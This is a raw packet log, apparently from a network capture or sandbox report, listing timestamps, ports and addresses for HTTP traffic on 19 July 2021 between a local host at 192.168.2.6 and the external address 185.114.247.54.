Jul 19, 2021 18:36:42.699805975 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.797190905 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.797230005 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.797247887 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.797262907 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.807096004 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.908596992 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.918337107 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.920665979 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.214294910 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.214298010 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.215869904 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.217735052 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.294914007 CEST	80	50023	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.300636053 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.307830095 CEST	80	50024	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.311964989 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.320859909 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.320923090 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.340594053 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.346281052 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.669801950 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.669905901 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.670114040 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.670228004 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.731581926 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.753074884 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.753437042 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.753458977 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.753475904 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754056931 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754077911 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754580021 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754597902 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754973888 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.754990101 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.755716085 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.755739927 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.755759001 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.767090082 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.787266016 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.824381113 CEST	80	50024	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.824455023 CEST	80	50024	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.827794075 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.851336002 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.851370096 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.851389885 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.869097948 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.870212078 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.870354891 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.870655060 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.870672941 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.870683908 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.870764017 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.870830059 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.915290117 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.929953098 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.953919888 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.956404924 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:43.956568956 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.956595898 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957607031 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957632065 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957647085 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957662106 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957673073 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957681894 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.957700014 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:43.970261097 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.013108015 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.013133049 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.042515039 CEST	80	50026	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.047316074 CEST	80	50024	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053111076 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053117990 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053128004 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053136110 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053148985 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.053162098 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.056327105 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.056400061 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.056478024 CEST	50024	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.067266941 CEST	80	50025	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.067455053 CEST	50025	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.165221930 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.167952061 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.248684883 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.248723984 CEST	80	50026	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.249229908 CEST	80	50026	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.251501083 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.251501083 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.293545961 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.293633938 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.293859959 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.293946981 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.373204947 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373228073 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373236895 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373281956 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373941898 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373974085 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.373991966 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.374140978 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.374372959 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.375211954 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.375231028 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.378834009 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.378856897 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.385354996 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.405730963 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.463994980 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.464025021 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.464032888 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.464040041 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.464121103 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.464411020 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.467181921 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.485552073 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.485574961 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.487373114 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:44.547007084 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.547034979 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.547050953 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.547065973 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.547082901 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.547096968 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.568267107 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.568301916 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:44.568325043 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.358382940 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.358489037 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.358522892 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.367928982 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.368200064 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.369235992 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.436877012 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.436909914 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437012911 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437030077 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437194109 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437212944 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437227011 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.437257051 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.439449072 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.439476967 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.446391106 CEST	80	50027	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.448498964 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.453392982 CEST	80	50026	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.492585897 CEST	50027	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.492599964 CEST	50026	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.492774010 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.498166084 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.577367067 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.589729071 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.607144117 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.798938036 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.798981905 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.799166918 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.799256086 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.877970934 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.878006935 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.878381968 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.878416061 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.878479004 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.878557920 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.878851891 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.879136086 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.879445076 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.879551888 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.879609108 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.879705906 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.879724979 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.879941940 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.879987001 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.880007982 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.880171061 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.880289078 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.880564928 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.880611897 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.880700111 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.912033081 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.956598997 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.956717968 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.959628105 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959662914 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959676981 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959691048 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959706068 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959722996 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.959734917 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.959796906 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.959860086 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.960544109 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.960565090 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.963824034 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.995026112 CEST	80	50029	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:45.996778965 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:45.997265100 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.035029888 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.035195112 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.038289070 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.038317919 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.038369894 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.038384914 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.038398027 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.038405895 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.038450003 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.042876959 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.042916059 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.042929888 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.043056011 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.043370962 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.080064058 CEST	80	50029	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.080096960 CEST	80	50029	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.080265999 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.113447905 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.113526106 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.113542080 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.113591909 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.116815090 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.116842031 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.174256086 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.174505949 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.175518990 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.187874079 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.253168106 CEST	80	50028	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.253283024 CEST	50028	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.256742954 CEST	80	50029	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.256932020 CEST	50029	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.258584023 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.258730888 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.259246111 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.259478092 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.259772062 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.260024071 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.285516977 CEST	80	50031	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.285676956 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.287003040 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.342755079 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.343614101 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.343708992 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.343807936 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.344724894 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.344824076 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.345134020 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.345211983 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.345680952 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.345767975 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.345961094 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346038103 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.346121073 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346194029 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.346545935 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346647978 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.346694946 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346708059 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346714973 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346725941 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.346832991 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.347026110 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.384438992 CEST	80	50031	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.384495974 CEST	80	50031	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.384577990 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.429022074 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429044962 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429054976 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429066896 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429076910 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429174900 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.429981947 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.430088043 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.430166960 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.430252075 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.430437088 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.430557013 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.489365101 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.490873098 CEST	50032	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.514108896 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.514131069 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.514348984 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.514594078 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.514719963 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.514815092 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.514831066 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.515005112 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.515758038 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.515772104 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.516035080 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.574527979 CEST	80	50032	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.574635983 CEST	50032	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.578929901 CEST	50032	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.586397886 CEST	80	50031	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.586474895 CEST	50031	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.597801924 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.597851038 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.597887039 CEST	80	50030	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.597955942 CEST	50030	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.621412039 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.661892891 CEST	80	50032	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.672914982 CEST	80	50032	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.673019886 CEST	50032	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.704813004 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.704977989 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.705624104 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.705794096 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.706099033 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.706217051 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.788315058 CEST	50032	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.789082050 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.789323092 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.789736032 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.789870024 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.790038109 CEST	50034	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.790487051 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.790618896 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.790920019 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.791013956 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.791323900 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.791418076 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.791425943 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.791480064 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.791800976 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.791882992 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.792571068 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.792664051 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.792953968 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.793031931 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.793405056 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.793489933 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.793752909 CEST	80	50033	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.793823004 CEST	50033	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:46.871942997 CEST	80	50032	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:46.872067928 CEST	50032	80	192.168.2.6	185.114.247.54
